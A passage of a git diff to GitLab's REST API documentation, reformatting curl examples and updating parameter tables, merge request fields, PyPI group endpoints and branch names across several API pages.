+Otherwise, authentication is required. ```plaintext POST /ci/lint @@ -111,7 +118,7 @@ Example response: { "status": "valid", "errors": [], - "merged_config": "---\n:another_test:\n :stage: test\n :script: echo 2\n:test:\n :stage: test\n :script: echo 1\n" + "merged_yaml": "---\n:another_test:\n :stage: test\n :script: echo 2\n:test:\n :stage: test\n :script: echo 1\n" } ``` diff --git a/doc/api/managed_licenses.md b/doc/api/managed_licenses.md index 68a19b9912f..4be4f83b4ce 100644 --- a/doc/api/managed_licenses.md +++ b/doc/api/managed_licenses.md @@ -128,7 +128,8 @@ PATCH /projects/:id/managed_licenses/:managed_license_id | `approval_status` | string | yes | The approval status. "approved" or "blacklisted" | ```shell -curl --request PATCH --data "approval_status=blacklisted" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/managed_licenses/6" +curl --request PATCH --data "approval_status=blacklisted" \ + --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/managed_licenses/6" ``` Example response: diff --git a/doc/api/members.md b/doc/api/members.md index 2a70e35b287..627c9a12b5e 100644 --- a/doc/api/members.md +++ b/doc/api/members.md @@ -415,10 +415,13 @@ POST /projects/:id/members | `user_id` | integer/string | yes | The user ID of the new member or multiple IDs separated by commas | | `access_level` | integer | yes | A valid access level | | `expires_at` | string | no | A date string in the format `YEAR-MONTH-DAY` | +| `invite_source` | string | no | The source of the invitation that starts the member creation process. See [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/327120). | ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --data "user_id=1&access_level=30" "https://gitlab.example.com/api/v4/groups/:id/members" -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --data "user_id=1&access_level=30" "https://gitlab.example.com/api/v4/projects/:id/members" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + --data "user_id=1&access_level=30" "https://gitlab.example.com/api/v4/groups/:id/members" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + --data "user_id=1&access_level=30" "https://gitlab.example.com/api/v4/projects/:id/members" ``` Example response: diff --git a/doc/api/merge_request_approvals.md b/doc/api/merge_request_approvals.md index 978cbff625c..8947e5b382f 100644 --- a/doc/api/merge_request_approvals.md +++ b/doc/api/merge_request_approvals.md @@ -29,7 +29,7 @@ GET /projects/:id/approvals | Attribute | Type | Required | Description | | --------- | ------- | -------- | ------------------- | -| `id` | integer | yes | The ID of a project | +| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) | ```json { @@ -58,7 +58,7 @@ POST /projects/:id/approvals | Attribute | Type | Required | Description | | ------------------------------------------------ | ------- | -------- | --------------------------------------------------------------------------------------------------- | -| `id` | integer | yes | The ID of a project | +| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) | | `approvals_before_merge` | integer | no | How many approvals are required before an MR can be merged. Deprecated in 12.0 in favor of Approval Rules API. | | `reset_approvals_on_push` | boolean | no | Reset approvals on a new push | | `disable_overriding_approvers_per_merge_request` | boolean | no | Allow/Disallow overriding approvers per MR | @@ -93,7 +93,7 @@ GET /projects/:id/approval_rules | Attribute | Type | Required | Description | |----------------------|---------|----------|-----------------------------------------------------------| -| `id` | integer | yes | The ID of a project | +| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) | ```json [ @@ -192,7 +192,7 @@ GET /projects/:id/approval_rules/:approval_rule_id | Attribute | Type | Required | Description | |----------------------|---------|----------|-----------------------------------------------------------| -| `id` | integer | yes | The ID of a project | +| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) | | `approval_rule_id` | integer | yes | The ID of a approval rule | ```json @@ -291,7 +291,7 @@ POST /projects/:id/approval_rules | Attribute | Type | Required | Description | |------------------------|---------|----------|------------------------------------------------------------------| -| `id` | integer | yes | The ID of a project | +| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) | | `name` | string | yes | The name of the approval rule | | `approvals_required` | integer | yes | The number of required approvals for this rule | | `user_ids` | Array | no | The ids of users as approvers | @@ -396,7 +396,7 @@ PUT /projects/:id/approval_rules/:approval_rule_id | Attribute | Type | Required | Description | |------------------------|---------|----------|------------------------------------------------------------------| -| `id` | integer | yes | The ID of a project | +| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) | | `approval_rule_id` | integer | yes | The ID of a approval rule | | `name` | string | yes | The name of the approval rule | | `approvals_required` | integer | yes | The number of required approvals for this rule | @@ -500,123 +500,9 @@ DELETE /projects/:id/approval_rules/:approval_rule_id | Attribute | Type | Required | Description | |----------------------|---------|----------|-----------------------------------------------------------| -| `id` | integer | yes | The ID of a project | +| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) | | `approval_rule_id` | integer | yes | The ID of a approval rule -## External Project-level MR approvals **(ULTIMATE)** - -Configuration for approvals on a specific Merge Request which makes a call to an external HTTP resource. - -> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3869) in GitLab 13.10. -> - It's [deployed behind a feature flag](../user/feature_flags.md), disabled by default. -> - It's disabled on GitLab.com. -> - It's not recommended for production use. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-external-project-level-mr-approvals). **(ULTIMATE SELF)** - -### Get project external approval rules **(ULTIMATE)** - -You can request information about a project's external approval rules using the following endpoint: - -```plaintext -GET /projects/:id/external_approval_rules -``` - -**Parameters:** - -| Attribute | Type | Required | Description | -|---------------------|---------|----------|---------------------| -| `id` | integer | yes | The ID of a project | - -```json -[ - { - "id": 1, - "name": "Compliance Check", - "project_id": 6, - "external_url": "https://gitlab.com/example/test.json", - "protected_branches": [ - { - "id": 14, - "project_id": 6, - "name": "master", - "created_at": "2020-10-12T14:04:50.787Z", - "updated_at": "2020-10-12T14:04:50.787Z", - "code_owner_approval_required": false - } - ] - } -] -``` - -### Create external approval rule **(ULTIMATE)** - -You can create a new external approval rule for a project using the following endpoint: - -```plaintext -POST /projects/:id/external_approval_rules -``` - -| Attribute | Type | Required | Description | -|------------------------|----------------|----------|----------------------------------------------------| -| `id` | integer | yes | The ID of a project | -| `name` | string | yes | Display name of approval rule | -| `external_url` | string | yes | URL of external approval resource | -| `protected_branch_ids` | `array<Integer>` | no | The ids of protected branches to scope the rule by | - -### Delete external approval rule **(ULTIMATE)** - -You can delete an external approval rule for a project using the following endpoint: - -```plaintext -DELETE /projects/:id/external_approval_rules/:rule_id -``` - -| Attribute | Type | Required | Description | -|------------------------|----------------|----------|----------------------------------------------------| -| `rule_id` | integer | yes | The ID of an approval rule | -| `id` | integer | yes | The ID of a project | - -### Update external approval rule **(ULTIMATE)** - -You can update an existing external approval rule for a project using the following endpoint: - -```plaintext -PUT /projects/:id/external_approval_rules/:rule_id -``` - -| Attribute | Type | Required | Description | -|------------------------|----------------|----------|----------------------------------------------------| -| `id` | integer | yes | The ID of a project | -| `rule_id` | integer | yes | The ID of an external approval rule | -| `name` | string | no | Display name of approval rule | -| `external_url` | string | no | URL of external approval resource | -| `protected_branch_ids` | `array<Integer>` | no | The ids of protected branches to scope the rule by | - -### Enable or disable External Project-level MR approvals **(ULTIMATE SELF)** - -Enable or disable External Project-level MR approvals is under development and not ready for production use. It is -deployed behind a feature flag that is **disabled by default**. -[GitLab administrators with access to the GitLab Rails console](../user/feature_flags.md) -can enable it. - -To enable it: - -```ruby -# For the instance -Feature.enable(:ff_compliance_approval_gates) -# For a single project -Feature.enable(:ff_compliance_approval_gates, Project.find(<project id>)) -``` - -To disable it: - -```ruby -# For the instance -Feature.disable(:ff_compliance_approval_gates) -# For a single project -Feature.disable(:ff_compliance_approval_gates, Project.find(<project id>)) -``` - ## Merge Request-level MR approvals Configuration for approvals on a specific Merge Request. Must be authenticated for all endpoints. @@ -637,7 +523,7 @@ GET /projects/:id/merge_requests/:merge_request_iid/approvals | Attribute | Type | Required | Description | |---------------------|---------|----------|---------------------| -| `id` | integer | yes | The ID of a project | +| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) | | `merge_request_iid` | integer | yes | The IID of MR | ```json @@ -684,7 +570,7 @@ POST /projects/:id/merge_requests/:merge_request_iid/approvals | Attribute | Type | Required | Description | |----------------------|---------|----------|--------------------------------------------| -| `id` | integer | yes | The ID of a project | +| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) | | `merge_request_iid` | integer | yes | The IID of MR | | `approvals_required` | integer | yes | Approvals required before MR can be merged. Deprecated in 12.0 in favor of Approval Rules API. | @@ -726,7 +612,7 @@ This includes additional information about the users who have already approved | Attribute | Type | Required | Description | |----------------------|---------|----------|---------------------| -| `id` | integer | yes | The ID of a project | +| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) | | `merge_request_iid` | integer | yes | The IID of MR | ```json @@ -793,7 +679,7 @@ GET /projects/:id/merge_requests/:merge_request_iid/approval_rules | Attribute | Type | Required | Description | |---------------------|---------|----------|---------------------| -| `id` | integer | yes | The ID of a project | +| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) | | `merge_request_iid` | integer | yes | The IID of MR | ```json @@ -871,7 +757,7 @@ POST /projects/:id/merge_requests/:merge_request_iid/approval_rules | Attribute | Type | Required | Description | |----------------------------|---------|----------|------------------------------------------------| -| `id` | integer | yes | The ID of a project | +| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) | | `merge_request_iid` | integer | yes | The IID of MR | | `name` | string | yes | The name of the approval rule | | `approvals_required` | integer | yes | The number of required approvals for this rule | @@ -961,7 +847,7 @@ These are system generated rules. | Attribute | Type | Required | Description | |----------------------|---------|----------|------------------------------------------------| -| `id` | integer | yes | The ID of a project | +| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) | | `merge_request_iid` | integer | yes | The ID of MR | | `approval_rule_id` | integer | yes | The ID of a approval rule | | `name` | string | yes | The name of the approval rule | @@ -1045,9 +931,9 @@ These are system generated rules. | Attribute | Type | Required | Description | |---------------------|---------|----------|---------------------------| -| `id` | integer | yes | The ID of a project | -| `merge_request_iid` | integer | yes | The ID of MR | -| `approval_rule_id` | integer | yes | The ID of a approval rule | +| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) | +| `merge_request_iid` | integer | yes | The IID of the merge request | +| `approval_rule_id` | integer | yes | The ID of an approval rule | ## Approve Merge Request @@ -1065,9 +951,9 @@ POST /projects/:id/merge_requests/:merge_request_iid/approve | Attribute | Type | Required | Description | |---------------------|---------|----------|-------------------------| -| `id` | integer | yes | The ID of a project | -| `merge_request_iid` | integer | yes | The IID of MR | -| `sha` | string | no | The HEAD of the MR | +| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) | +| `merge_request_iid` | integer | yes | The IID of the merge request | +| `sha` | string | no | The `HEAD` of the merge request | | `approval_password` **(PREMIUM)** | string | no | Current user's password. Required if [**Require user password to approve**](../user/project/merge_requests/approvals/settings.md#require-authentication-for-approvals) is enabled in the project settings. | The `sha` parameter works in the same way as @@ -1129,5 +1015,5 @@ POST /projects/:id/merge_requests/:merge_request_iid/unapprove | Attribute | Type | Required | Description | |---------------------|---------|----------|---------------------| -| `id` | integer | yes | The ID of a project | -| `merge_request_iid` | integer | yes | The IID of MR | +| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) | +| `merge_request_iid` | integer | yes | The IID of a merge request | diff --git a/doc/api/merge_requests.md b/doc/api/merge_requests.md index c4cb7753fc9..57754f62d5a 100644 --- a/doc/api/merge_requests.md +++ b/doc/api/merge_requests.md @@ -16,6 +16,7 @@ type: reference, api > - `with_merge_status_recheck` was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/31890) in GitLab 13.0. > - `reviewer_username` and `reviewer_id` were [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49341) in GitLab 13.8. > - `reviewer_ids` was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/51186) in GitLab 13.8. +> - `draft` was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63473) as an eventual replacement for `work_in_progress` in GitLab 14.0 Every API call to merge requests must be authenticated. @@ -174,6 +175,7 @@ Parameters: "Community contribution", "Manage" ], + "draft": false, "work_in_progress": false, "milestone": { "id": 5, @@ -357,6 +359,7 @@ Parameters: "Community contribution", "Manage" ], + "draft": false, "work_in_progress": false, "milestone": { "id": 5, @@ -405,6 +408,16 @@ Parameters: ] ``` +The `merge_status` field may hold one of the following values: + +| Value | Interpretation | +|----------------------------|-----------------------------------------------------------------------| +| `unchecked` | We have not checked this yet | +| `checking` | We are currently checking if the merge request can be merged | +| `can_be_merged` | This merge request can be merged without conflict | +| `cannot_be_merged` | There are merge conflicts between the source and target branches | +| `cannot_be_merged_recheck` | Currently unchecked. Before the current changes, there were conflicts | + Users on GitLab Premium or higher also see the `approvals_before_merge` parameter: @@ -532,6 +545,7 @@ Parameters: "Community contribution", "Manage" ], + "draft": false, "work_in_progress": false, "milestone": { "id": 5, @@ -670,6 +684,7 @@ Parameters: "Community contribution", "Manage" ], + "draft": false, "work_in_progress": false, "milestone": { "id": 5, @@ -902,6 +917,7 @@ Parameters: "target_project_id": 4, "labels": [ ], "description": "Qui voluptatibus placeat ipsa alias quasi. Deleniti rem ut sint. Optio velit qui distinctio.", + "draft": false, "work_in_progress": false, "milestone": { "id": 5, @@ -1112,6 +1128,7 @@ POST /projects/:id/merge_requests "Community contribution", "Manage" ], + "draft": false, "work_in_progress": false, "milestone": { "id": 5, @@ -1282,6 +1299,7 @@ Must include at least one non-required attribute from above. "Community contribution", "Manage" ], + "draft": false, "work_in_progress": false, "milestone": { "id": 5, @@ -1467,6 +1485,7 @@ Parameters: "Community contribution", "Manage" ], + "draft": false, "work_in_progress": false, "milestone": { "id": 5, @@ -1655,6 +1674,7 @@ Parameters: "Community contribution", "Manage" ], + "draft": false, "work_in_progress": false, "milestone": { "id": 5, @@ -1956,6 +1976,7 @@ Example response: "Community contribution", "Manage" ], + "draft": false, "work_in_progress": false, "milestone": { "id": 5, @@ -2115,6 +2136,7 @@ Example response: "Community contribution", "Manage" ], + "draft": false, "work_in_progress": false, "milestone": { "id": 5, @@ -2291,6 +2313,7 @@ Example response: "source_project_id": 3, "target_project_id": 3, "labels": [], + "draft": false, "work_in_progress": false, "milestone": { "id": 27, diff --git a/doc/api/merge_trains.md b/doc/api/merge_trains.md index 9fc17930c92..f74f7785d30 100644 --- a/doc/api/merge_trains.md +++ b/doc/api/merge_trains.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/api/notification_settings.md b/doc/api/notification_settings.md index 298c0ead8c1..69bed193f07 100644 --- a/doc/api/notification_settings.md +++ b/doc/api/notification_settings.md @@ -123,7 +123,7 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The group/project ID or path | +| `id` | integer or string | yes | The ID, or [URL-encoded path, of the group or project](README.md#namespaced-path-encoding). | Example response: @@ -149,7 +149,7 @@ curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The group/project ID or path | +| `id` | integer or string | yes | The ID, or [URL-encoded path, of the group or project](README.md#namespaced-path-encoding) | | `level` | string | no | The global notification level | | `new_note` | boolean | no | Enable/disable this notification | | `new_issue` | boolean | no | Enable/disable this notification | diff --git a/doc/api/oauth2.md b/doc/api/oauth2.md index 61eaf0f36d7..f5c75aac0d9 100644 --- a/doc/api/oauth2.md +++ b/doc/api/oauth2.md @@ -284,7 +284,8 @@ HTTP Basic Authentication with the application's `client_id` and `client_secret` ```shell echo 'grant_type=password&username=<your_username>&password=<your_password>' > auth.txt -curl --data "@auth.txt" --user client_id:client_secret --request POST "https://gitlab.example.com/oauth/token" +curl --data "@auth.txt" --user client_id:client_secret \ + --request POST "https://gitlab.example.com/oauth/token" ``` Then, you receive a response containing the access token: diff --git a/doc/api/packages/composer.md b/doc/api/packages/composer.md index ebf3ffba92f..4f8e0a23c9c 100644 --- a/doc/api/packages/composer.md +++ b/doc/api/packages/composer.md @@ -71,7 +71,7 @@ Example response: ## V1 packages list -Given the V1 provider sha, returns a list of packages within the repository. Using Composer V2 is +Given the V1 provider SHA, returns a list of packages in the repository. Using Composer V2 is recommended over V1. ```plaintext @@ -81,7 +81,7 @@ GET group/:id/-/packages/composer/p/:sha | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | | `id` | string | yes | The ID or full path of the group. | -| `sha` | string | yes | The provider sha, provided by the Composer [base request](#base-repository-request). | +| `sha` | string | yes | The provider SHA, provided by the Composer [base request](#base-repository-request). | ```shell curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/group/1/-/packages/composer/p/082df4a5035f8725a12i4a3d2da5e6aaa966d06843d0a5c6d499313810427bd6" @@ -115,7 +115,7 @@ the symbol `%24` (see example below). | -------------- | ------ | -------- | ----------- | | `id` | string | yes | The ID or full path of the group. | | `package_name` | string | yes | The name of the package. | -| `sha` | string | yes | The sha digest of the package, provided by the [V1 packages list](#v1-packages-list). | +| `sha` | string | yes | The SHA digest of the package, provided by the [V1 packages list](#v1-packages-list). | ```shell curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/group/1/-/packages/composer/my-org/my-composer-package%245c873497cdaa82eda35af5de24b789be92dfb6510baf117c42f03899c166b6e7" @@ -247,7 +247,8 @@ POST projects/:id/packages/composer | `branch` | string | no | The name of the branch to target for the package. | ```shell -curl --request POST --user <username>:<personal_access_token> --data tag=v1.0.0 "https://gitlab.example.com/api/v4/projects/1/packages/composer" +curl --request POST --user <username>:<personal_access_token> \ + --data tag=v1.0.0 "https://gitlab.example.com/api/v4/projects/1/packages/composer" ``` Example response: @@ -272,7 +273,7 @@ GET projects/:id/packages/composer/archives/:package_name | -------------- | ------ | -------- | ----------- | | `id` | string | yes | The ID or full path of the group. | | `package_name` | string | yes | The name of the package. | -| `sha` | string | yes | The target sha of the requested package version. | +| `sha` | string | yes | The target SHA of the requested package version. | ```shell curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/projects/1/packages/composer/archives/my-org/my-composer-package.zip?sha=673594f85a55fe3c0eb45df7bd2fa9d95a1601ab" diff --git a/doc/api/packages/nuget.md b/doc/api/packages/nuget.md index ed61704770b..bbcb2cb9bc4 100644 --- a/doc/api/packages/nuget.md +++ b/doc/api/packages/nuget.md @@ -82,7 +82,7 @@ This writes the downloaded file to `MyNuGetPkg.1.3.0.17.nupkg` in the current di > Introduced in GitLab 12.8. -Download a NuGet package file: +Upload a NuGet package file: ```plaintext PUT projects/:id/packages/nuget diff --git a/doc/api/packages/pypi.md b/doc/api/packages/pypi.md index 531193e59e2..77ba028c447 100644 --- a/doc/api/packages/pypi.md +++ b/doc/api/packages/pypi.md @@ -20,11 +20,82 @@ These endpoints do not adhere to the standard API authentication methods. See the [PyPI package registry documentation](../../user/packages/pypi_repository/index.md) for details on which headers and token types are supported. -## Download a package file +## Download a package file from a group + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/225545) in GitLab 13.12. + +Download a PyPI package file. The [simple API](#group-level-simple-api-entry-point) +normally supplies this URL. + +```plaintext +GET groups/:id/packages/pypi/files/:sha256/:file_identifier +``` + +| Attribute | Type | Required | Description | +| ----------------- | ------ | -------- | ----------- | +| `id` | string | yes | The ID or full path of the group. | +| `sha256` | string | yes | The PyPI package file's sha256 checksum. | +| `file_identifier` | string | yes | The PyPI package file's name. | + +```shell +curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/groups/1/packages/pypi/files/5y57017232013c8ac80647f4ca153k3726f6cba62d055cd747844ed95b3c65ff/my.pypi.package-0.0.1.tar.gz" +``` + +To write the output to a file: + +```shell +curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/groups/1/packages/pypi/files/5y57017232013c8ac80647f4ca153k3726f6cba62d055cd747844ed95b3c65ff/my.pypi.package-0.0.1.tar.gz" >> my.pypi.package-0.0.1.tar.gz +``` + +This writes the downloaded file to `my.pypi.package-0.0.1.tar.gz` in the current directory. + +## Group level simple API entry point + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/225545) in GitLab 13.12. + +Returns the package descriptor as an HTML file: + +```plaintext +GET groups/:id/packages/pypi/simple/:package_name +``` + +| Attribute | Type | Required | Description | +| -------------- | ------ | -------- | ----------- | +| `id` | string | yes | The ID or full path of the group. | +| `package_name` | string | yes | The name of the package. | + +```shell +curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/groups/1/packages/pypi/simple/my.pypi.package" +``` + +Example response: + +```html +<!DOCTYPE html> +<html> + <head> + <title>Links for my.pypi.package</title> + </head> + <body> + <h1>Links for my.pypi.package</h1> + <a href="https://gitlab.example.com/api/v4/groups/1/packages/pypi/files/5y57017232013c8ac80647f4ca153k3726f6cba62d055cd747844ed95b3c65ff/my.pypi.package-0.0.1-py3-none-any.whl#sha256=5y57017232013c8ac80647f4ca153k3726f6cba62d055cd747844ed95b3c65ff" data-requires-python=">=3.6">my.pypi.package-0.0.1-py3-none-any.whl</a><br><a href="https://gitlab.example.com/api/v4/groups/1/packages/pypi/files/9s9w01b0bcd52b709ec052084e33a5517ffca96f7728ddd9f8866a30cdf76f2/my.pypi.package-0.0.1.tar.gz#sha256=9s9w011b0bcd52b709ec052084e33a5517ffca96f7728ddd9f8866a30cdf76f2" data-requires-python=">=3.6">my.pypi.package-0.0.1.tar.gz</a><br> + </body> +</html> +``` + +To write the output to a file: + +```shell +curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/groups/1/packages/pypi/simple/my.pypi.package" >> simple.html +``` + +This writes the downloaded file to `simple.html` in the current directory. + +## Download a package file from a project > Introduced in GitLab 12.10. -Download a PyPI package file. The [simple API](#simple-api-entry-point) +Download a PyPI package file. The [simple API](#project-level-simple-api-entry-point) normally supplies this URL. ```plaintext @@ -49,7 +120,7 @@ curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v This writes the downloaded file to `my.pypi.package-0.0.1.tar.gz` in the current directory. -## Simple API entry point +## Project-level simple API entry point > Introduced in GitLab 12.10. diff --git a/doc/api/pages_domains.md b/doc/api/pages_domains.md index f9bb8521a1f..fbea365e3d5 100644 --- a/doc/api/pages_domains.md +++ b/doc/api/pages_domains.md @@ -134,19 +134,24 @@ POST /projects/:id/pages/domains Create a new Pages domain with a certificate from a `.pem` file: ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "domain=ssl.domain.example" --form "certificate=@/path/to/cert.pem" --form "key=@/path/to/key.pem" "https://gitlab.example.com/api/v4/projects/5/pages/domains" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + --form "domain=ssl.domain.example" --form "certificate=@/path/to/cert.pem" \ + --form "key=@/path/to/key.pem" "https://gitlab.example.com/api/v4/projects/5/pages/domains" ``` Create a new Pages domain by using a variable containing the certificate: ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "domain=ssl.domain.example" --form "certificate=$CERT_PEM" --form "key=$KEY_PEM" "https://gitlab.example.com/api/v4/projects/5/pages/domains" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + --form "domain=ssl.domain.example" --form "certificate=$CERT_PEM" \ + --form "key=$KEY_PEM" "https://gitlab.example.com/api/v4/projects/5/pages/domains" ``` Create a new Pages domain with an [automatic certificate](../user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md#enabling-lets-encrypt-integration-for-your-custom-domain): ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "domain=ssl.domain.example" --form "auto_ssl_enabled=true" "https://gitlab.example.com/api/v4/projects/5/pages/domains" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "domain=ssl.domain.example" \ + --form "auto_ssl_enabled=true" "https://gitlab.example.com/api/v4/projects/5/pages/domains" ``` ```json @@ -184,13 +189,15 @@ PUT /projects/:id/pages/domains/:domain Add a certificate for a Pages domain from a `.pem` file: ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form "certificate=@/path/to/cert.pem" --form "key=@/path/to/key.pem" "https://gitlab.example.com/api/v4/projects/5/pages/domains/ssl.domain.example" +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form "certificate=@/path/to/cert.pem" \ + --form "key=@/path/to/key.pem" "https://gitlab.example.com/api/v4/projects/5/pages/domains/ssl.domain.example" ``` Add a certificate for a Pages domain by using a variable containing the certificate: ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form "certificate=$CERT_PEM" --form "key=$KEY_PEM" "https://gitlab.example.com/api/v4/projects/5/pages/domains/ssl.domain.example" +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form "certificate=$CERT_PEM" \ + --form "key=$KEY_PEM" "https://gitlab.example.com/api/v4/projects/5/pages/domains/ssl.domain.example" ``` ```json @@ -210,7 +217,8 @@ curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form "certifi ### Enabling Let's Encrypt integration for Pages custom domains ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form "auto_ssl_enabled=true" "https://gitlab.example.com/api/v4/projects/5/pages/domains/ssl.domain.example" +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" \ + --form "auto_ssl_enabled=true" "https://gitlab.example.com/api/v4/projects/5/pages/domains/ssl.domain.example" ``` ```json @@ -226,7 +234,8 @@ curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form "auto_ss To remove the SSL certificate attached to the Pages domain, run: ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form "certificate=" --form "key=" "https://gitlab.example.com/api/v4/projects/5/pages/domains/ssl.domain.example" +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form "certificate=" \ + --form "key=" "https://gitlab.example.com/api/v4/projects/5/pages/domains/ssl.domain.example" ``` ```json diff --git a/doc/api/pipeline_schedules.md b/doc/api/pipeline_schedules.md index 6b3b6f4f36b..afb5d434fe7 100644 --- a/doc/api/pipeline_schedules.md +++ b/doc/api/pipeline_schedules.md @@ -1,10 +1,10 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Pipeline schedules API +# Pipeline schedules API **(FREE)** You can read more about [pipeline schedules](../ci/pipelines/schedules.md). @@ -30,7 +30,7 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a { "id": 13, "description": "Test schedule pipeline", - "ref": "master", + "ref": "main", "cron": "* * * * *", "cron_timezone": "Asia/Tokyo", "next_run_at": "2017-05-19T13:41:00.000Z", @@ -70,7 +70,7 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a { "id": 13, "description": "Test schedule pipeline", - "ref": "master", + "ref": "main", "cron": "* * * * *", "cron_timezone": "Asia/Tokyo", "next_run_at": "2017-05-19T13:41:00.000Z", @@ -80,7 +80,7 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a "last_pipeline": { "id": 332, "sha": "0e788619d0b5ec17388dffb973ecd505946156db", - "ref": "master", + "ref": "main", "status": "pending" }, "owner": { @@ -119,14 +119,16 @@ POST /projects/:id/pipeline_schedules | `active` | boolean | no | The activation of pipeline schedule. If false is set, the pipeline schedule is initially deactivated (default: `true`). | ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form description="Build packages" --form ref="master" --form cron="0 1 * * 5" --form cron_timezone="UTC" --form active="true" "https://gitlab.example.com/api/v4/projects/29/pipeline_schedules" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + --form description="Build packages" --form ref="main" --form cron="0 1 * * 5" --form cron_timezone="UTC" \ + --form active="true" "https://gitlab.example.com/api/v4/projects/29/pipeline_schedules" ``` ```json { "id": 14, "description": "Build packages", - "ref": "master", + "ref": "main", "cron": "0 1 * * 5", "cron_timezone": "UTC", "next_run_at": "2017-05-26T01:00:00.000Z", @@ -164,14 +166,15 @@ PUT /projects/:id/pipeline_schedules/:pipeline_schedule_id | `active` | boolean | no | The activation of pipeline schedule. If false is set, the pipeline schedule is initially deactivated. | ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form cron="0 2 * * *" "https://gitlab.example.com/api/v4/projects/29/pipeline_schedules/13" +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" \ + --form cron="0 2 * * *" "https://gitlab.example.com/api/v4/projects/29/pipeline_schedules/13" ``` ```json { "id": 13, "description": "Test schedule pipeline", - "ref": "master", + "ref": "main", "cron": "0 2 * * *", "cron_timezone": "Asia/Tokyo", "next_run_at": "2017-05-19T17:00:00.000Z", @@ -181,7 +184,7 @@ curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form cron="0 "last_pipeline": { "id": 332, "sha": "0e788619d0b5ec17388dffb973ecd505946156db", - "ref": "master", + "ref": "main", "status": "pending" }, "owner": { @@ -216,7 +219,7 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitla { "id": 